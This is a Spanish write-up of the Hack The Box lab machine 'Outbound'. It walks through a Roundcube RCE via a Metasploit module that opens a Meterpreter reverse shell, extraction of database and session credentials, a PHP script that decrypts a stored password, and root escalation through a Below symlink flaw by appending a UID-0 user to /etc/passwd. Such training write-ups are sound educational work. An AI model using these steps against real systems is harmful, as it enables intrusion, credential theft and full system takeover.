Descripción
Outbound es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Compromiso asumido de las credenciales de un usuario de correo electrónico
- Ejecución remota de comandos en el cliente de correo electrónico Roundcube
- Descifrado de la contraseña de una sesión de Roundcube
- La contraseña descifrada de Roundcube permite acceder a un buzón de correo electrónico con la contraseña de un usuario de Linux
- Escalada de privilegios mediante la aplicación Below que permite que sus archivos de registro sean escribibles por todos los usuarios
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.253.19.
$ ping -c 3 10.129.253.19
PING 10.129.253.19 (10.129.253.19) 56(84) bytes of data.
64 bytes from 10.129.253.19: icmp_seq=1 ttl=63 time=46.7 ms
64 bytes from 10.129.253.19: icmp_seq=2 ttl=63 time=46.6 ms
64 bytes from 10.129.253.19: icmp_seq=3 ttl=63 time=46.6 ms
--- 10.129.253.19 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.625/46.646/46.666/0.016 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.253.19 -sS -Pn -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.253.19
Host is up (0.066s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.99 seconds
Obtenemos dos puertos abiertos: 22 y 80.️
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.253.19 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.253.19
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.55 seconds
Obtenemos el servicio SSH y el servicio HTTP. Encontramos el subdominio mail.outbound.htb, lo agregamos al archivo /etc/hosts.
echo "10.129.253.19 mail.outbound.htb" | sudo tee -a /etc/hosts
Estamos en un escenario de compromiso asumido, por lo que tenemos la credencial del usuario tyler, con contraseña LhKL1o9Nm3X2. Al acceder al servicio HTTP encontramos el servicio de interfaz de correo electrónico Roundcube. Puedemos ingresar con la credencial proporcionada. No se encuentran correos electrónicos.
Al hacer clic en el botón About podemos encontrar la versión del servicio utilizado, que es Roundcube Webmail 1.6.10.

Explotación
Las versiones anteriores de Roundcube Webmail (1.6.x antes de 1.6.11) permite la ejecución de código remoto por parte de usuarios autenticados debido a que el parámetro _from en una URL no se valida en program/actions/settings/upload.php, lo que lleva a la deserialización de objetos PHP, CVE-2025-49113. Tenemos un módulo Metasploit disponible para la ejecución. Así que vamos a iniciar Metasploit con la orden msfconsole, configurar los diferentes parámetros y ejecutar el exploit. Vamos a usar el módulo exploit/multi/http/roundcube_auth_rce_cve_2025_49113.
$ msfconsole
msf6 > use exploit/multi/http/roundcube_auth_rce_cve_2025_49113
msf6 exploit(...) > set PASSWORD LhKL1o9Nm3X2
PASSWORD => LhKL1o9Nm3X2
msf6 exploit(...) > set RHOSTS mail.outbound.htb
RHOSTS => mail.outbound.htb
msf6 exploit(...) > set USERNAME tyler
USERNAME => tyler
msf6 exploit(...) > set LHOST tun0
LHOST => 10.10.14.36
msf6 exploit(...) > exploit
[*] Started reverse TCP handler on 10.10.14.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Extracted version: 10610
[+] The target appears to be vulnerable.
[*] Fetching CSRF token...
[+] Extracted token: rY8SFPynxZdwLvqoay9AegNXRFbwCwPl
[*] Attempting login...
[+] Login successful.
[*] Preparing payload...
[+] Payload successfully generated and serialized.
[*] Uploading malicious payload...
[+] Exploit attempt complete. Check for session.
[*] Sending stage (3045380 bytes) to 10.129.253.19
[*] Meterpreter session 1 opened (10.10.14.36:4444 -> 10.129.253.19:33724)
meterpreter > getuid
Server username: www-data
Iniciamos sesión como el usuario www-data. Ahora vamos a abrir una consola interactiva.
meterpreter > shell
Process 1426 created.
Channel 1 created.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@mail:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-Explotación
Encontramos la raíz del directorio del servidor web en el directorio /var/www/html/roundcube.
www-data@mail:/$ ls /var/www/html/roundcube
CHANGELOG.md SECURITY.md composer.json logs skins
INSTALL SQL composer.lock plugins temp
LICENSE UPGRADING config program vendor
README.md bin index.php public_html
El archivo de configuración de Roundcube que contiene las credenciales de la base de datos está ubicado en el archivo config.inc.php del directorio /var/www/html/roundcube/config.
www-data@mail:/$ cat /var/www/html/roundcube/config/config.inc.php
<?php
...
$config = [];
...
// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
...
// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
Roundcube está utilizando la base de datos MySQL roundcube con el usuario roundcube y la contraseña RCDBPass2025, como lo muestra la variable db_dsnw. También estamos tomando nota del valor de des_key, que es la clave utilizada para cifrar la contraseña del usuario dentro de las sesiones almacenadas en la base de datos. Dado que Roundcube utiliza el protocolo IMAP para interactuar con el servidor de correo electrónico, necesita guardar temporalmente la contraseña del usuario en la base de datos. Así que abrimos la base de datos y listamos las sesiones activas.
www-data@mail:/$ mysql -h 127.0.0.1 -u roundcube -p'RCDBPass2025' roundcube
...
MariaDB [roundcube]> select * from session;
| sess_id | changed | ip | vars
| 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 |
2 rows in set (0.001 sec)
Las sesiones están guardadas en la tabla session de la base de datos MySQL. La sesión del usuario está guardada en las columnas vars codificadas como una cadena Base64, por lo que debemos decodificarla.
$ echo 'bGFuZ3VhZ2...IxMCI7' | base64 -d
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}list_mod_seq|s:2:"10";
En los datos decodificados encontramos una variable referida a la contraseña, password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/". La contraseña cifrada y codificada con Base64 es L7Rv00A8TuwJAr67kITxxcSgnIk25Am/. También podemos encontrar que la sesión pertenece al usuario jacob: username|s:5:"jacob". Para saber cómo descifrar la contraseña, necesitamos mirar más a fondo en el código fuente de Roundcube. En el archivo rcube.php línea 352 encontramos este código:
$options['password'] = $this->decrypt($_SESSION['password']);
La contraseña del usuario se descifra utilizando la función decrypt, encontrada en línea 943. Esto significa que podemos usar esta función para descifrar nuestra contraseña Base64 codificada.
public function decrypt($cipher, $key = 'des_key', $base64 = true)
{
// @phpstan-ignore-next-line
if (!is_string($cipher) || !strlen($cipher)) {
return false;
}
if ($base64) {
$cipher = base64_decode($cipher, true);
if ($cipher === false) {
return false;
}
}
$ckey = $this->config->get_crypto_key($key);
$method = $this->config->get_crypto_method();
$iv_size = openssl_cipher_iv_length($method);
$tag = null;
if (preg_match('/^##(.{16})##/s', $cipher, $matches)) {
$tag = $matches[1];
$cipher = substr($cipher, strlen($matches[0]));
}
$iv = substr($cipher, 0, $iv_size);
// session corruption? (#1485970)
if (strlen($iv) < $iv_size) {
return false;
}
$cipher = substr($cipher, $iv_size);
$clear = openssl_decrypt($cipher, $method, $ckey, \OPENSSL_RAW_DATA, $iv, $tag);
return $clear;
}
La función está recibiendo tres parámetros: cipher con la contraseña codificada con Base64, key con la clave de cifrado que obtuvimos anteriormente, y base64 indicando si la variable cipher está codificada usando Base64. Dentro de la función, encontramos una llamada a la función get_crypto_method del archivo rcube_config.php, en la línea 559. Esto indica que el algoritmo de cifrado utilizado es DES-EDE3-CBC.
public function get_crypto_method()
{
return $this->get('cipher_method') ?: 'DES-EDE3-CBC';
}
Con estos dos fragmentos de código, podemos crear un archivo PHP para descifrar la contraseña como el siguiente:
<?php
$cipher = base64_decode('L7Rv00A8TuwJAr67kITxxcSgnIk25Am/', true);
$ckey = 'rcmail-!24ByteDESkey*Str';
$method = 'DES-EDE3-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = substr($cipher, 0, $iv_size);
$cipher = substr($cipher, $iv_size);
$clear = openssl_decrypt($cipher, $method, $ckey, \OPENSSL_RAW_DATA, $iv, null);
echo $clear;
echo "\n";
?>
Then we can run it.
$ php decrypt.php
595mO8DmwGeD
Encontramos la contraseña descifrada para el usuario jacob: 595mO8DmwGeD. Podemos iniciar sesión en la interfaz web y encontrar dos correos electrónicos en la bandeja de entrada: Unexpected Resource Consumption e Important Update. El primero menciona que el monitoreo de recursos en la máquina está habilitado utilizando la aplicación Below.
El otro correo contiene la contraseña del usuario jacob: gY4Wr3a1evp4, ya que fue cambiada recientemente por el equipo de TI.
Podemos crear una consola interactiva del sistema utilizando el protocolo SSH.
$ ssh jacob@mail.outbound.htb
jacob@mail.outbound.htb's password:
jacob@outbound:~$ id
uid=1002(jacob) gid=1002(jacob) groups=1002(jacob),100(users)
Podemos ejecutar la aplicación Below como usuario root con sudo.
jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
Existe una vulnerabilidad de escalada de privilegios en el servicio Below anterior a la versión 0.9.0 debido a la creación de un directorio editable por todos (world-writable) en /var/log/below. Esto permite a los usuarios locales sin privilegios ascender a privilegios de root mediante ataques de enlaces simbólicos que manipulen archivos como /etc/shadow, CVE-2025-27591.
Podemos verificar que esto es cierto comprobando los permisos de los archivos dentro del directorio /var/log/below.
jacob@outbound:~$ ls -l /var/log/below/
total 8
-rw-rw-rw- 1 jacob jacob 236 Jul 8 20:45 error_jacob.log
-rw-rw-rw- 1 root root 0 Jul 8 20:37 error_root.log
Podemos encontrar un resumen más detallado de la vulnerabilidad en el blog del equipo de seguridad de SUSE aquí. Al ejecutar el proceso Below como usuario root, establece los permisos 0666 para el archivo de registro, por ejemplo error_root.log. Después de eliminar ese archivo, podemos crear un enlace simbólico suave hacia cualquier archivo del sistema para que el programa asigne el permiso 0666, por ejemplo /etc/passwd. Esto nos permite agregar un nuevo usuario con UID 0 como usuario root.
Verificamos que el archivo /etc/passwd es propiedad de root y tiene permisos 0644.
jacob@outbound:~$ ls -l /etc/passwd
-rw-r--r-- 1 root root 1840 Jul 8 21:06 /etc/passwd
Vamos a realizar los pasos anteriores y ejecutar el comando below con sudo. Podemos salir del programa usando la tecla CTRL+C.
jacob@outbound:~$ rm /var/log/below/error_root.log
jacob@outbound:~$ ln -s /etc/passwd /var/log/below/error_root.log
jacob@outbound:~$ ls -l /var/log/below/error_root.log
lrwxrwxrwx 1 jacob jacob /var/log/below/error_root.log -> /etc/passwd
jacob@outbound:~$ sudo below snapshot --begin 0
Ahora el archivo /etc/passwd tiene permisos 0666.
jacob@outbound:~$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1840 Jul 13 13:17 /etc/passwd
Podemos agregar la cuenta de usuario root2 con contraseña passwordhtb y acceder a ella para obtener una consola de root. Necesitamos hacerlo rápidamente ya que el archivo /etc/passwd está siendo restaurado rápidamente.
jacob@outbound:~$ echo 'root2:$1$IX9v2U5o$tpsHTNLLik2uBXGO7OyIk0:0:0:root:/root:/bin/bash' >> /etc/passwd; su root2
Password:
root@outbound:/home/jacob# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la consola de root podemos obtener las flags user.txt y root.txt.
root@outbound:/home/jacob# cat /home/jacob/user.txt
<REDACTED>
root@outbound:/home/jacob# cat /root/root.txt
<REDACTED>